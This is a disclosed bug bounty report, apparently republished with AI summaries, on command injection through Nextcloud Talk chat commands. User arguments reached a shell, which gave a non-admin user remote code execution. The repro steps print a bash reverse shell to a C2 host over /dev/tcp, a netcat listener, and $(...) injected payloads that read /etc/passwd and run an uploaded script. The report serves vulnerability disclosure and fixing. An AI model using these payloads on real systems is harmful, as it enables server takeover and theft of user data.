Code injection possible with malformed Nextcloud Talk chat commands
The Nextcloud Talk app passes user-supplied arguments to chat commands directly to a shell via @exec, allowing command substitution. An attacker with a non-admin account can execute arbitrary commands on the server, leading to a reverse shell and access to all user data.
Originally disclosed on HackerOne
- Triaged in 12 hours
- Fixed in 4 days
- Paid in 14 days
- Disclosed after 47 days
Summary by the researcher
The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.
The report
Summary
The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.
Links
- https://nextcloud-talk.readthedocs.io/en/latest/commands/#chat-commands
- https://github.com/nextcloud/spreed/issues/1566
- https://github.com/nextcloud/spreed/blob/384f39ded1dceab58491555744bd5326f8ff1e3f/lib/Chat/Command/ShellExecutor.php#L103
Severity
This bug has been filed with a severity of Critical inline with the bounty impact/definition chart and the Nextcloud Threat Model as the bug allows both remote code execution via a non-admin user as well as access of complete user data of any other user.
Affected Versions
All versions that support Talk Commands appear to be affected as the bug is in the @execute command.
The following version were tested:
- master-2020-04-15 via
snap install nextcloud --edge,occ.status versionstring: 19.0.0 beta 2 - 17.0.5snap1 via
snap install nextcloud,occ.status versionstring: 17.0.5
Repro Steps
-
Install and Setup Nextcloud
- create Ubuntu 18.04 VM
- install Nextcloud Server (Nextcloud Hub snap used for this test
snap install nextcloud --edge) - run install command:
nextcloud.manual-install "admin" "password" - generate self signed certificate
nextcloud.enable-https self-signed - set trusted domains
nextcloud.occ config:system:set trusted_domains 1 --value=<domain/ip> - create user
alice - install and enable spreed/talk app
- enable sample talk commands
nextcloud.occ talk:command:add-samples - add calculator command as described in the documentation here
-
Setup C2 VM
- kali used for this test, can be any host with netcat
nc - run nc listener
nc -l -p 8888
- kali used for this test, can be any host with netcat
-
Create Shell Script > shell.sh
This script can be anything that gets executed and returns a shell In this case, a simple reverse shell is initiated using bash interactive piping to /dev/tcp A php web shell, meterpreter binary or any other executable could be uploaded here
bash -i >& /dev/tcp/<c2-ip-here>/8888 0>&1 & -
Log In As Alice and Upload File
- upload above shell.sh to root directory of alice's Nexcloud files
-
With Alice, start a Talk Conversation
-
Test Exploitability:
Note, all commands appear to get successfully executed, however whether output is shown depends on the implementation of the backing script. For example, /wiki cannot show the results of
cat /etc/passwdbecause the multiline output breaks the wiki script, but the calculator sample can show the output because it has an echo command in the scrpt./wiki test $(id) /wiki test $(pwd) /wiki test $(ls -al .) /calc test $(cat /etc/passwd) /calc test $(ls -al ../) -
Execute Reverse Shell
- Locate uploaded shell script
- For nextcloud snap, the data directory is defined here
- File locations are fixed, therefore, once the root directory is known, it is easy to derive the location of the script
- Can use
/calc test $(ls ../)to explore directory structure
- Enable execution of the script
- Execute the script
/wiki test $(chmod +x /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh) /wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh) - Locate uploaded shell script
-
Observer C2 Listener for Connection
-
Run Commands via C2
id pwd cd /var/snap/nextcloud/common/nextcloud/data/admin/files ls -al occ status
Attachments
See attached screenshots
Impact
- Complete access to all user files
- Shell access to occ
- Shell access to host machine - root access if Nextcloud is running as root
Attachments





Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the ShellExecutor passes user-supplied arguments directly to a shell command without escaping, allowing command substitution.
Impact
An attacker can execute arbitrary commands, gain a reverse shell, access all user files, and potentially obtain root access if Nextcloud runs as root.
What the attacker needed
Nextcloud with Talk app; Talk commands configured; A non-admin user account
How it was found
- Install and set up Nextcloud, create a user, enable the Talk app and sample commands, and add a calculator command.
- Set up a listener on a separate machine to catch a reverse shell.
- Create a shell script that initiates a reverse shell and upload it to the user's files.
- Log in as the user and start a Talk conversation.
- Test command execution by sending chat commands with command substitution.
- Locate the uploaded script, make it executable, and run it to get a reverse shell.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Chat commands in Nextcloud Talk let users type things like /calc 1+1, and the server runs a script to produce the answer. The bug is that the server puts whatever the user types straight into a system command without cleaning it, so special characters can make the server run extra commands. This means a normal user can take control of the server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.